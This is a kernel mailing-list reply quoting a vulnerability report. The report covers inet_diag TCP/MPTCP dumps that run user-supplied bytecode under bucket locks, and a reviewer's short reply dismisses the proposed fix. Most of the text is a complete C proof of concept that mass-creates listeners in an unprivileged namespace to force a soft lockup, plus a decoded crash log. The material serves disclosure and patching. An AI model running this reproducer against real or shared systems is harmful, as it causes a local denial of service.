> > We found and validated an issue in net/ipv4/tcp_diag.c and
> > net/mptcp/mptcp_diag.c. The bug is reachable by a
> > non-root user via user and net namespace.
> > Our testing did not identify any impact on other functionality.
> >
> > We will provide detailed information about the bug
> > in this email, along with a PoC to trigger it.
> >
> > ---- details below ----
> >
> > Bug details:
> >
> > inet_diag TCP dumps currently execute request-supplied
> > INET_DIAG_REQ_BYTECODE programs while still holding the listener, bind,
> > or ehash bucket locks in tcp_diag_dump(). With a heavily populated
> > bucket, the time spent under the same lock grows with both raw socket
> > traversal and bytecode cost.
> >
> > The local listener reproducer creates four SO_REUSEPORT groups of 32768
> > listeners each, 131072 sockets in total, and then issues a
> > NETLINK_SOCK_DIAG dump request with 16380 INET_DIAG_BC_NOP instructions
>
> Same feedback as v1.
>
> tcp_diag_dump() is long enough, and I don't think that the "fix"
> to avoid a long loop on *QEMU* due to an unreal setup is worth
> 300 LoC(hurn).
>
>
>
>
> > followed by a failing INET_DIAG_BC_D_EQ test. This is a deliberately
> > concentrated setup to make the lock scope observable; it is not intended
> > to represent a typical deployment. Because every socket runs the full
> > bytecode and none reaches the reply fill path, skb backpressure does not
> > terminate the walk early.
> > On the unfixed kernel, with local softlockup panic sysctls enabled, this
> > makes the long bucket-locked section visible as a watchdog report and
> > panic in inet_diag_bc_sk().
> >
> > The earlier batching fix direction was still too narrow: it only counted
> > sockets that survived the cheap prefilters and reached the expensive dump
> > path. An attacker can therefore populate one bucket with many sockets or
> > listeners that fail the netns/family/port or MPTCP-specific prefilters,
> > causing the same bucket lock to be scanned far past the 16-entry batch
> > threshold before control is returned.
> >
> > The same root cause also exists in MPTCP listener dumping. The
> > MPTCP-specific mptcp_diag_dump_listeners() path reuses sk_diag_dump(),
> > which runs inet_diag_bc_sk() before filling the netlink reply, while the
> > listener bucket lock is still held.
> >
> > The inline reproducer and decoded crash log below cover the TCP watchdog
> > path only. They are not an MPTCP crash reproduction. The crash log is the
> > decoded output of `./scripts/decode_stacktrace.sh`, with source paths
> > reduced to repository-relative file and line references for review. The
> > MPTCP patch addresses the equivalent listener lock scope identified by
> > code inspection and completed MPTCP listener stress tests. A separate
> > MPTCP crash artifact is not included, because the fixed MPTCP run
> > completed without a crash.
> >
> > This series fixes both sites by keeping bucket-locked sections limited to
> > raw socket collection and lifetime pinning, and moving all filtering,
> > inet_diag_bc_sk(), and socket filling work out of the locked regions so
> > the batch limit applies to raw bucket traversal itself. For TCP listener,
> > bind, and ehash buckets, and for the MPTCP listener bucket, restarts now
> > keep a referenced dump cursor so the next batch resumes after the
> > previous socket instead of rescanning the bucket head under the same
> > lock. A stored cursor is reused only after it is checked against the
> > currently locked bucket. Listen and ehash resume also require the socket
> > state to still belong to that table. Current-bucket membership is inferred
> > from that state plus the recomputed hash slot. If the check fails,
> > collection restarts from the bucket head with the same batch limit. That
> > fallback can emit a socket more than once, but it does not move bytecode
> > or fill work back under the bucket lock. Bind collection counts TIME_WAIT
> > nodes toward the batch limit and restores them through tw_tb2.
> >
> > We also ran targeted cursor-resume stress tests on the fixed kernel. The
> > TCP listener workload used 131072 listeners while a separate thread
> > repeatedly removed and recreated listeners across listener buckets. Three
> > runs completed in 17024.089 ms, 17217.245 ms, and 17180.322 ms, and the
> > guest remained alive. With temporary kernel instrumentation, one run
> > directly observed an invalid TCP listener cursor: the cursor was unhashed
> > and its computed bucket differed from the bucket being scanned, after
> > which the safe restart path completed normally.
> >
> > A corresponding MPTCP listener workload and a TCP bound-only close/rebind
> > workload also completed without a crash, and the guest remained alive.
> > Neither workload deterministically reached its instrumented invalid-cursor
> > branch, and no crash artifact is claimed for either path.
> >
> > For ehash, a dedicated workload created 4096 loopback established TCP
> > connections while a mutator replaced connection pairs concurrently. The
> > TCPF_ALL inet_diag dump completed in 315.108 ms. No ehash invalid-cursor
> > log, soft lockup, or panic was observed. These tests exercise the relevant
> > mutation and resume paths, but do not claim deterministic scheduling of
> > every race between two dump callbacks.
> >
> > The TCP patch uses two Fixes tags for the path-specific introductions:
> > commit 5caea4ea7088 ("net: listening_hash get a spinlock per bucket")
> > introduced the listener bucket spinlock, and commit 91051f003948
> > ("tcp: Dump bound-only sockets in inet_diag.") introduced the bound-only
> > path. The ehash dump already ran diagnostic work under the bucket lock
> > before 7e3aab4a9cd7, which only converted that lock from read_lock_bh()
> > to spin_lock_bh(), so that commit is not used as a Fixes tag. The MPTCP
> > patch uses commit 4fa39b701ce9 ("mptcp: listen diag dump support").
> >
> > udp_diag and raw diag still run bytecode and fill under their own hash
> > slot locks. Those locks are not the TCP listener, bind, or ehash locks,
> > or the MPTCP listener lock, tightened by this series.
> >
> > Reproducer:
> >
> > gcc -O2 -static -o poc poc.c
> > unshare -Urn ./poc
> >
> > This is not a packet-sequence or protocol-state reproducer. The trigger
> > depends on creating many sockets and issuing NETLINK_SOCK_DIAG requests,
> > which packetdrill cannot express, so the PoC uses sockets and Netlink
> > directly.
> >
> > To make the long bucket-locked section observable in the local QEMU
> > run below, we enabled softlockup panic sysctls as guest root. The
> > unshare command above uses the PoC defaults, which are:
> >
> > ./poc --listen --groups 4 --stride 2048 --count 32768 --nops 16380
> >
> > The crash log reports UID: 0 because that process is the userns root
> > created by unshare -Urn, after those sysctls were set as guest root.
> > That UID does not by itself prove a host-unprivileged run. The inet_diag
> > dump path itself is reachable from a user and net namespace.
> >
> > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
> >
> > ------BEGIN poc.c------
> > #define _GNU_SOURCE
> >
> > #include <arpa/inet.h>
> > #include <errno.h>
> > #include <linux/inet_diag.h>
> > #include <linux/netlink.h>
> > #include <linux/sock_diag.h>
> > #include <linux/tcp.h>
> > #include <sched.h>
> > #include <stdbool.h>
> > #include <stdint.h>
> > #include <stdio.h>
> > #include <stdlib.h>
> > #include <string.h>
> > #include <sys/resource.h>
> > #include <sys/socket.h>
> > #include <sys/time.h>
> > #include <time.h>
> > #include <unistd.h>
> >
> > #ifndef SOL_TCP
> > #define SOL_TCP 6
> > #endif
> >
> > #ifndef TCP_LISTEN
> > #define TCP_LISTEN 10
> > #endif
> >
> > #define TCPF_LISTEN (1U << TCP_LISTEN)
> >
> > #ifndef TCP_BOUND_INACTIVE
> > #define TCP_BOUND_INACTIVE 13
> > #endif
> > #ifndef TCPF_BOUND_INACTIVE
> > #define TCPF_BOUND_INACTIVE (1U << TCP_BOUND_INACTIVE)
> > #endif
> >
> > #define DEFAULT_SOCKETS 32768U
> > #define DEFAULT_NOPS 16380U
> > #define DEFAULT_REPEAT 1U
> > #define DEFAULT_GROUPS 4U
> > #define DEFAULT_STRIDE 2048U
> > #define DEFAULT_BASE_PORT 10000
> > #define MAX_NOPS 16380U
> > #define RECV_BUF_SIZE (1U << 20)
> >
> > struct options {
> > unsigned int sockets;
> > unsigned int nops;
> > unsigned int repeat;
> > unsigned int groups;
> > unsigned int stride;
> > unsigned int cpu;
> > bool cpu_set;
> > bool compare;
> > bool attack;
> > bool listen_mode;
> > int port;
> > };
> >
> > static void usage(const char *prog)
> > {
> > fprintf(stderr,
> > "Usage: %s [--count N] [--nops N] [--repeat N] [--port P] [--cpu N]\n"
> > " [--groups N] [--stride N] [--compare] [--no-attack]\n"
> > " [--listen | --bound]\n"
> > "Defaults: --count %u --nops %u --repeat %u\n",
> > prog, DEFAULT_SOCKETS, DEFAULT_NOPS, DEFAULT_REPEAT);
> > }
> >
> > static long long timespec_delta_ns(const struct timespec *start,
> > const struct timespec *end)
> > {
> > return (end->tv_sec - start->tv_sec) * 1000000000LL +
> > (end->tv_nsec - start->tv_nsec);
> > }
> >
> > static int raise_nofile_limit(rlim_t needed)
> > {
> > struct rlimit lim;
> >
> > if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
> > perror("getrlimit(RLIMIT_NOFILE)");
> > return -1;
> > }
> >
> > if (lim.rlim_cur >= needed)
> > return 0;
> >
> > if (lim.rlim_max < needed)
> > needed = lim.rlim_max;
> >
> > lim.rlim_cur = needed;
> > if (setrlimit(RLIMIT_NOFILE, &lim) < 0) {
> > perror("setrlimit(RLIMIT_NOFILE)");
> > return -1;
> > }
> >
> > if (getrlimit(RLIMIT_NOFILE, &lim) < 0) {
> > perror("getrlimit(RLIMIT_NOFILE)");
> > return -1;
> > }
> >
> > if (lim.rlim_cur < needed) {
> > fprintf(stderr, "RLIMIT_NOFILE stayed at %llu, need %llu\n",
> > (unsigned long long)lim.rlim_cur,
> > (unsigned long long)needed);
> > return -1;
> > }
> >
> > return 0;
> > }
> >
> > static int pin_to_cpu(unsigned int cpu)
> > {
> > cpu_set_t set;
> >
> > CPU_ZERO(&set);
> > CPU_SET(cpu, &set);
> > if (sched_setaffinity(0, sizeof(set), &set) < 0) {
> > perror("sched_setaffinity");
> > return -1;
> > }
> >
> > return 0;
> > }
> >
> > static int create_socket_in_bucket(bool listen_mode, int port, int *bound_port)
> > {
> > struct sockaddr_in addr = {
> > .sin_family = AF_INET,
> > .sin_addr.s_addr = htonl(INADDR_ANY),
> > };
> > socklen_t addrlen = sizeof(addr);
> > int one = 1;
> > int fd;
> >
> > fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
> > if (fd < 0) {
> > perror("socket(AF_INET, SOCK_STREAM)");
> > return -1;
> > }
> >
> > if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) {
> > perror("setsockopt(SO_REUSEADDR)");
> > goto err;
> > }
> >
> > if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &one, sizeof(one)) < 0) {
> > perror("setsockopt(SO_REUSEPORT)");
> > goto err;
> > }
> >
> > addr.sin_port = htons(port);
> > if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
> > perror("bind");
> > goto err;
> > }
> >
> > if (getsockname(fd, (struct sockaddr *)&addr, &addrlen) < 0) {
> > perror("getsockname");
> > goto err;
> > }
> >
> > if (listen_mode) {
> > if (listen(fd, 0) < 0) {
> > perror("listen");
> > goto err;
> > }
> > }
> >
> > *bound_port = ntohs(addr.sin_port);
> > return fd;
> >
> > err:
> > close(fd);
> > return -1;
> > }
> >
> > static int setup_sockets(bool listen_mode, unsigned int groups,
> > unsigned int count_per_group, unsigned int stride,
> > int requested_port, int **fds_out, int *port_out)
> > {
> > int *fds;
> > unsigned int g, i;
> > unsigned int total = groups * count_per_group;
> > int base_port = requested_port ? requested_port : DEFAULT_BASE_PORT;
> >
> > fds = calloc(total, sizeof(*fds));
> > if (!fds) {
> > perror("calloc(socket fds)");
> > return -1;
> > }
> >
> > for (g = 0; g < groups; g++) {
> > int port = base_port + (int)(g * stride);
> >
> > if (port <= 0 || port > 65535) {
> > fprintf(stderr, "port overflow for group %u (base=%d stride=%u)\n",
> > g, base_port, stride);
> > goto err;
> > }
> >
> > for (i = 0; i < count_per_group; i++) {
> > unsigned int idx = g * count_per_group + i;
> > int bound_port = port;
> > int fd = create_socket_in_bucket(listen_mode, bound_port,
> > &bound_port);
> >
> > if (fd < 0) {
> > fprintf(stderr,
> > "socket setup failed at group %u index %u (port %d)\n",
> > g, i, port);
> > goto err;
> > }
> >
> > fds[idx] = fd;
> > if ((idx + 1) % 4096U == 0 || idx + 1 == total) {
> > printf("sockets_ready=%u group=%u port=%d mode=%s\n",
> > idx + 1, g + 1, port,
> > listen_mode ? "listen" : "bound");
> > }
> > }
> > }
> >
> > *fds_out = fds;
> > *port_out = base_port;
> > return 0;
> >
> > err:
> > for (i = 0; i < total; i++) {
> > if (fds[i] > 0)
> > close(fds[i]);
> > }
> > free(fds);
> > return -1;
> > }
> >
> > static void teardown_sockets(int *fds, unsigned int count)
> > {
> > unsigned int i;
> >
> > if (!fds)
> > return;
> >
> > for (i = 0; i < count; i++) {
> > if (fds[i] >= 0)
> > close(fds[i]);
> > }
> > free(fds);
> > }
> >
> > static size_t build_request(void *buf, bool listen_mode, bool with_attack,
> > unsigned int nops)
> > {
> > size_t msg_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2));
> > struct nlmsghdr *nlh = buf;
> > struct inet_diag_req_v2 *req;
> >
> > memset(buf, 0, msg_len);
> > nlh->nlmsg_len = msg_len;
> > nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
> > nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
> > nlh->nlmsg_seq = 1;
> >
> > req = NLMSG_DATA(nlh);
> > req->sdiag_family = AF_INET;
> > req->sdiag_protocol = IPPROTO_TCP;
> > req->idiag_states = listen_mode ? TCPF_LISTEN : TCPF_BOUND_INACTIVE;
> > req->id.idiag_cookie[0] = INET_DIAG_NOCOOKIE;
> > req->id.idiag_cookie[1] = INET_DIAG_NOCOOKIE;
> >
> > if (with_attack) {
> > size_t payload_len = ((size_t)nops + 2U) *
> > sizeof(struct inet_diag_bc_op);
> > size_t attr_len = NLA_HDRLEN + payload_len;
> > struct nlattr *nla = (struct nlattr *)((char *)buf + msg_len);
> > struct inet_diag_bc_op *ops;
> > unsigned int i;
> >
> > memset(nla, 0, NLA_ALIGN(attr_len));
> > nla->nla_type = INET_DIAG_REQ_BYTECODE;
> > nla->nla_len = attr_len;
> > ops = (struct inet_diag_bc_op *)((char *)nla + NLA_HDRLEN);
> >
> > for (i = 0; i < nops; i++) {
> > ops[i].code = INET_DIAG_BC_NOP;
> > ops[i].yes = sizeof(struct inet_diag_bc_op);
> > ops[i].no = 0;
> > }
> >
> > ops[nops].code = INET_DIAG_BC_D_EQ;
> > ops[nops].yes = 2U * sizeof(struct inet_diag_bc_op);
> > ops[nops].no = 3U * sizeof(struct inet_diag_bc_op);
> >
> > ops[nops + 1].code = 0;
> > ops[nops + 1].yes = 0;
> > ops[nops + 1].no = 1;
> >
> > msg_len += NLA_ALIGN(attr_len);
> > nlh->nlmsg_len = msg_len;
> > }
> >
> > return msg_len;
> > }
> >
> > static int recv_until_done(int fd)
> > {
> > char *buf;
> > int ret = 0;
> >
> > buf = malloc(RECV_BUF_SIZE);
> > if (!buf) {
> > perror("malloc(recv buf)");
> > return -1;
> > }
> >
> > for (;;) {
> > ssize_t received = recv(fd, buf, RECV_BUF_SIZE, 0);
> > struct nlmsghdr *nlh;
> > int remaining;
> >
> > if (received < 0) {
> > perror("recv");
> > ret = -1;
> > break;
> > }
> >
> > if (received == 0) {
> > fprintf(stderr, "recv: unexpected EOF\n");
> > ret = -1;
> > break;
> > }
> >
> > remaining = (int)received;
> > for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, remaining);
> > nlh = NLMSG_NEXT(nlh, remaining)) {
> > if (nlh->nlmsg_type == NLMSG_DONE)
> > goto out;
> >
> > if (nlh->nlmsg_type == NLMSG_ERROR) {
> > const struct nlmsgerr *err = NLMSG_DATA(nlh);
> >
> > if (nlh->nlmsg_len < NLMSG_LENGTH(sizeof(*err))) {
> > fprintf(stderr, "short NLMSG_ERROR\n");
> > } else if (err->error) {
> > errno = -err->error;
> > perror("netlink");
> > } else {
> > fprintf(stderr, "unexpected ACK\n");
> > }
> > ret = -1;
> > goto out;
> > }
> > }
> > }
> >
> > out:
> > free(buf);
> > return ret;
> > }
> >
> > static int run_dump(bool listen_mode, bool with_attack, unsigned int nops,
> > double *wall_ms)
> > {
> > size_t request_len;
> > size_t attr_space = with_attack ?
> > NLA_ALIGN(NLA_HDRLEN +
> > ((size_t)nops + 2U) *
> > sizeof(struct inet_diag_bc_op)) : 0;
> > size_t alloc_len = NLMSG_SPACE(sizeof(struct inet_diag_req_v2)) +
> > attr_space;
> > struct sockaddr_nl local = {
> > .nl_family = AF_NETLINK,
> > };
> > struct sockaddr_nl kernel = {
> > .nl_family = AF_NETLINK,
> > };
> > struct timeval timeout = {
> > .tv_sec = 60,
> > .tv_usec = 0,
> > };
> > struct iovec iov;
> > struct msghdr msg = {
> > .msg_name = &kernel,
> > .msg_namelen = sizeof(kernel),
> > .msg_iov = &iov,
> > .msg_iovlen = 1,
> > };
> > struct timespec start_ts;
> > struct timespec end_ts;
> > void *request;
> > int fd;
> > int ret = -1;
> >
> > request = malloc(alloc_len);
> > if (!request) {
> > perror("malloc(request)");
> > return -1;
> > }
> >
> > request_len = build_request(request, listen_mode, with_attack, nops);
> >
> > fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_SOCK_DIAG);
> > if (fd < 0) {
> > perror("socket(AF_NETLINK)");
> > free(request);
> > return -1;
> > }
> >
> > if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)) < 0) {
> > perror("setsockopt(SO_RCVTIMEO)");
> > goto out;
> > }
> >
> > if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
> > perror("bind(netlink)");
> > goto out;
> > }
> >
> > iov.iov_base = request;
> > iov.iov_len = request_len;
> >
> > if (clock_gettime(CLOCK_MONOTONIC_RAW, &start_ts) < 0) {
> > perror("clock_gettime(start)");
> > goto out;
> > }
> >
> > if (sendmsg(fd, &msg, 0) < 0) {
> > perror("sendmsg");
> > goto out;
> > }
> >
> > if (recv_until_done(fd) < 0)
> > goto out;
> >
> > if (clock_gettime(CLOCK_MONOTONIC_RAW, &end_ts) < 0) {
> > perror("clock_gettime(end)");
> > goto out;
> > }
> >
> > *wall_ms = (double)timespec_delta_ns(&start_ts, &end_ts) / 1000000.0;
> > ret = 0;
> >
> > out:
> > close(fd);
> > free(request);
> > return ret;
> > }
> >
> > static int parse_u32(const char *arg, unsigned int *value)
> > {
> > char *end = NULL;
> > unsigned long parsed;
> >
> > parsed = strtoul(arg, &end, 0);
> > if (!end || *end || parsed > UINT32_MAX)
> > return -1;
> >
> > *value = (unsigned int)parsed;
> > return 0;
> > }
> >
> > static int parse_port(const char *arg, int *port)
> > {
> > unsigned int value;
> >
> > if (parse_u32(arg, &value) < 0 || value > 65535U)
> > return -1;
> >
> > *port = (int)value;
> > return 0;
> > }
> >
> > int main(int argc, char **argv)
> > {
> > struct options opts = {
> > .sockets = DEFAULT_SOCKETS,
> > .nops = DEFAULT_NOPS,
> > .repeat = DEFAULT_REPEAT,
> > .groups = DEFAULT_GROUPS,
> > .stride = DEFAULT_STRIDE,
> > .cpu = 0,
> > .cpu_set = false,
> > .compare = false,
> > .attack = true,
> > .listen_mode = true,
> > .port = 0,
> > };
> > int *fds = NULL;
> > int port = 0;
> > unsigned int i;
> >
> > for (i = 1; i < (unsigned int)argc; i++) {
> > if (strcmp(argv[i], "--count") == 0) {
> > if (i + 1 >= (unsigned int)argc ||
> > parse_u32(argv[++i], &opts.sockets) < 0 ||
> > opts.sockets == 0) {
> > usage(argv[0]);
> > return 1;
> > }
> > } else if (strcmp(argv[i], "--nops") == 0) {
> > if (i + 1 >= (unsigned int)argc ||
> > parse_u32(argv[++i], &opts.nops) < 0 ||
> > opts.nops > MAX_NOPS) {
> > fprintf(stderr, "--nops must be in range [0, %u]\n",
> > MAX_NOPS);
> > return 1;
> > }
> > } else if (strcmp(argv[i], "--repeat") == 0) {
> > if (i + 1 >= (unsigned int)argc ||
> > parse_u32(argv[++i], &opts.repeat) < 0 ||
> > opts.repeat == 0) {
> > usage(argv[0]);
> > return 1;
> > }
> > } else if (strcmp(argv[i], "--groups") == 0) {
> > if (i + 1 >= (unsigned int)argc ||
> > parse_u32(argv[++i], &opts.groups) < 0 ||
> > opts.groups == 0) {
> > usage(argv[0]);
> > return 1;
> > }
> > } else if (strcmp(argv[i], "--stride") == 0) {
> > if (i + 1 >= (unsigned int)argc ||
> > parse_u32(argv[++i], &opts.stride) < 0 ||
> > opts.stride == 0) {
> > usage(argv[0]);
> > return 1;
> > }
> > } else if (strcmp(argv[i], "--port") == 0) {
> > if (i + 1 >= (unsigned int)argc ||
> > parse_port(argv[++i], &opts.port) < 0) {
> > usage(argv[0]);
> > return 1;
> > }
> > } else if (strcmp(argv[i], "--cpu") == 0) {
> > if (i + 1 >= (unsigned int)argc ||
> > parse_u32(argv[++i], &opts.cpu) < 0) {
> > usage(argv[0]);
> > return 1;
> > }
> > opts.cpu_set = true;
> > } else if (strcmp(argv[i], "--compare") == 0) {
> > opts.compare = true;
> > } else if (strcmp(argv[i], "--no-attack") == 0) {
> > opts.attack = false;
> > } else if (strcmp(argv[i], "--listen") == 0) {
> > opts.listen_mode = true;
> > } else if (strcmp(argv[i], "--bound") == 0) {
> > opts.listen_mode = false;
> > } else {
> > usage(argv[0]);
> > return 1;
> > }
> > }
> >
> > if (opts.groups > UINT32_MAX / opts.sockets) {
> > fprintf(stderr, "socket count overflow\n");
> > return 1;
> > }
> >
> > if (raise_nofile_limit((rlim_t)opts.sockets * opts.groups + 64U) < 0)
> > return 1;
> >
> > if (opts.cpu_set && pin_to_cpu(opts.cpu) < 0)
> > return 1;
> >
> > if (setup_sockets(opts.listen_mode, opts.groups, opts.sockets,
> > opts.stride, opts.port, &fds, &port) < 0)
> > return 1;
> >
> > printf("setup_complete groups=%u sockets_per_group=%u total_sockets=%u base_port=%d stride=%u mode=%s nops=%u repeat=%u compare=%s attack=%s\n",
> > opts.groups, opts.sockets, opts.groups * opts.sockets,
> > port, opts.stride, opts.listen_mode ? "listen" : "bound",
> > opts.nops, opts.repeat,
> > opts.compare ? "yes" : "no",
> > opts.attack ? "yes" : "no");
> >
> > if (opts.compare) {
> > double wall_ms;
> >
> > if (run_dump(opts.listen_mode, false, 0, &wall_ms) < 0) {
> > teardown_sockets(fds, opts.groups * opts.sockets);
> > return 1;
> > }
> > printf("baseline wall_ms=%.3f\n", wall_ms);
> > }
> >
> > if (opts.attack) {
> > for (i = 0; i < opts.repeat; i++) {
> > double wall_ms;
> >
> > if (run_dump(opts.listen_mode, true, opts.nops, &wall_ms) < 0) {
> > teardown_sockets(fds, opts.groups * opts.sockets);
> > return 1;
> > }
> > printf("attack_run=%u wall_ms=%.3f\n", i + 1, wall_ms);
> > }
> > }
> >
> > teardown_sockets(fds, opts.groups * opts.sockets);
> > return 0;
> > }
> > ------END poc.c--------
> >
> > ----BEGIN crash log----
> > watchdog: BUG: soft lockup - CPU#1 stuck for 3s! [poc:256]
> > [ 21.507468] Modules linked in:
> > [ 21.507471] CPU: 1 UID: 0 PID: 256 Comm: poc Not tainted 7.2.0-rc4-00390-g743916aa8e8c #5 PREEMPT(full)
> > [ 21.507472] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
> > [ 21.507473] RIP: 0010:inet_diag_bc_sk (inet_diag.c:471 inet_diag.c:631)
> > [ 21.507499] Code: 00 00 00 0f 87 89 00 00 00 3c 02 0f 84 4e 01 00 00 3c 03 0f 84 72 01 00 00 3c 01 75 31 0f b7 53 02 29 d5 48 01 d3 85 ed 7e 31 <0f> b6 03 3c 08 76 c2 3c 0b 0f 84 76 01 00 00 77 3a 3c 09 0f 84 54
> > All code
> > ========
> > 0: 00 00 add %al,(%rax)
> > 2: 00 0f add %cl,(%rdi)
> > 4: 87 89 00 00 00 3c xchg %ecx,0x3c000000(%rcx)
> > a: 02 0f add (%rdi),%cl
> > c: 84 4e 01 test %cl,0x1(%rsi)
> > f: 00 00 add %al,(%rax)
> > 11: 3c 03 cmp $0x3,%al
> > 13: 0f 84 72 01 00 00 je 0x18b
> > 19: 3c 01 cmp $0x1,%al
> > 1b: 75 31 jne 0x4e
> > 1d: 0f b7 53 02 movzwl 0x2(%rbx),%edx
> > 21: 29 d5 sub %edx,%ebp
> > 23: 48 01 d3 add %rdx,%rbx
> > 26: 85 ed test %ebp,%ebp
> > 28: 7e 31 jle 0x5b
> > 2a:* 0f b6 03 movzbl (%rbx),%eax <-- trapping instruction
> > 2d: 3c 08 cmp $0x8,%al
> > 2f: 76 c2 jbe 0xfffffffffffffff3
> > 31: 3c 0b cmp $0xb,%al
> > 33: 0f 84 76 01 00 00 je 0x1af
> > 39: 77 3a ja 0x75
> > 3b: 3c 09 cmp $0x9,%al
> > 3d: 0f .byte 0xf
> > 3e: 84 .byte 0x84
> > 3f: 54 push %rsp
> >
> > Code starting with the faulting instruction
> > ===========================================
> > 0: 0f b6 03 movzbl (%rbx),%eax
> > 3: 3c 08 cmp $0x8,%al
> > 5: 76 c2 jbe 0xffffffffffffffc9
> > 7: 3c 0b cmp $0xb,%al
> > 9: 0f 84 76 01 00 00 je 0x185
> > f: 77 3a ja 0x4b
> > 11: 3c 09 cmp $0x9,%al
> > 13: 0f .byte 0xf
> > 14: 84 .byte 0x84
> > 15: 54 push %rsp
> > [ 21.507500] RSP: 0018:ffffbb290036b7a8 EFLAGS: 00000202
> > [ 21.507501] RAX: 0000000000000000 RBX: ffff98bcf7ca2588 RCX: 0000000000000000
> > [ 21.507502] RDX: 0000000000000004 RSI: ffff98bcf7ca0048 RDI: ffff98bcf61c9840
> > [ 21.507502] RBP: 000000000000dabc R08: 0000000000000000 R09: ffff98bcdfb91440
> > [ 21.507502] R10: 0000000000000000 R11: ffff98bcdfb91444 R12: 0000000000000000
> > [ 21.507503] R13: 0000000000002f10 R14: 0000000000000000 R15: 0000000000000002
> > [ 21.507508] FS: 0000000002be8380(0000) GS:ffff98bda3b6e000(0000) knlGS:0000000000000000
> > [ 21.507509] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> > [ 21.507510] CR2: 00007f62b3bb9000 CR3: 000000000c6b6005 CR4: 0000000000370ef0
> > [ 21.507510] Call Trace:
> > [ 21.507512] <TASK>
> > [ 21.507512] ? inet_diag_bc_sk (inet_diag.c:632)
> > [ 21.507514] tcp_diag_dump (tcp_diag.c:366)
> > [ 21.507524] ? ___slab_alloc (slub.c:1080 slub.c:4524)
> > [ 21.507526] ? __kmalloc_node_track_caller_noprof (slub.c:4936 slub.c:5361 slub.c:5497)
> > [ 21.507527] ? inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> > [ 21.507528] ? __alloc_skb (skbuff.c:715)
> > [ 21.507531] ? kmalloc_reserve (skbuff.c:637 (discriminator 1))
> > [ 21.507532] __inet_diag_dump (inet_diag.c:823)
> > [ 21.507533] netlink_dump (af_netlink.c:2331)
> > [ 21.507543] __netlink_dump_start (af_netlink.c:2446)
> > [ 21.507544] inet_diag_handler_cmd (netlink.h:341 inet_diag.c:983)
> > [ 21.507545] ? __pfx_inet_diag_dump_start (inet_diag.c:891)
> > [ 21.507546] ? __pfx_inet_diag_dump (inet_diag.c:928)
> > [ 21.507547] ? __pfx_inet_diag_dump_done (inet_diag.c:508)
> > [ 21.507548] sock_diag_rcv_msg (sock_diag.c:248 sock_diag.c:284)
> > [ 21.507550] ? __pfx_sock_diag_rcv_msg (sock_diag.c:306)
> > [ 21.507551] netlink_rcv_skb (af_netlink.c:2556)
> > [ 21.507553] netlink_unicast (af_netlink.c:1319 af_netlink.c:1345)
> > [ 21.507554] netlink_sendmsg (af_netlink.c:1900)
> > [ 21.507556] ____sys_sendmsg (socket.c:775 (discriminator 1) socket.c:790 (discriminator 1) socket.c:2684 (discriminator 1))
> > [ 21.507558] ___sys_sendmsg (socket.c:2738)
> > [ 21.507559] __sys_sendmsg (socket.c:2770)
> > [ 21.507560] do_syscall_64 (syscall_64.c:63 syscall_64.c:94)
> > [ 21.507563] entry_SYSCALL_64_after_hwframe (entry_64.S:121)
> > [ 21.507564] RIP: 0033:0x421964
> > [ 21.507566] Code: c2 c0 ff ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b5 0f 1f 00 f3 0f 1e fa 80 3d fd 26 09 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 4c c3 0f 1f 00 55 48 89 e5 48 83 ec 20 89 55
> > All code
> > ========
> > 0: c2 c0 ff ret $0xffc0
> > 3: ff (bad)
> > 4: ff f7 push %rdi
> > 6: d8 64 89 02 fsubs 0x2(%rcx,%rcx,4)
> > a: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax
> > 11: eb b5 jmp 0xffffffffffffffc8
> > 13: 0f 1f 00 nopl (%rax)
> > 16: f3 0f 1e fa endbr64
> > 1a: 80 3d fd 26 09 00 00 cmpb $0x0,0x926fd(%rip) # 0x9271e
> > 21: 74 13 je 0x36
> > 23: b8 2e 00 00 00 mov $0x2e,%eax
> > 28: 0f 05 syscall
> > 2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
> > 30: 77 4c ja 0x7e
> > 32: c3 ret
> > 33: 0f 1f 00 nopl (%rax)
> > 36: 55 push %rbp
> > 37: 48 89 e5 mov %rsp,%rbp
> > 3a: 48 83 ec 20 sub $0x20,%rsp
> > 3e: 89 .byte 0x89
> > 3f: 55 push %rbp
> >
> > Code starting with the faulting instruction
> > ===========================================
> > 0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
> > 6: 77 4c ja 0x54
> > 8: c3 ret
> > 9: 0f 1f 00 nopl (%rax)
> > c: 55 push %rbp
> > d: 48 89 e5 mov %rsp,%rbp
> > 10: 48 83 ec 20 sub $0x20,%rsp
> > 14: 89 .byte 0x89
> > 15: 55 push %rbp
> > [ 21.507567] RSP: 002b:00007ffde1d1cfc8 EFLAGS: 00000202 ORIG_RAX: 000000000000002e
> > [ 21.507568] RAX: ffffffffffffffda RBX: 0000000002bea910 RCX: 0000000000421964
> > [ 21.507570] RDX: 0000000000000000 RSI: 00007ffde1d1d040 RDI: 0000000000020003
> > [ 21.507571] RBP: 0000000000020003 R08: 0006b49d20000000 R09: 00007f62b3bb50e8
> > [ 21.507571] R10: 0000000000000004 R11: 0000000000000202 R12: 00007ffde1d1d110
> > [ 21.507571] R13: 0000000000003ffc R14: 0000000000010044 R15: 000000000000fffc
> > [ 21.507572] </TASK>
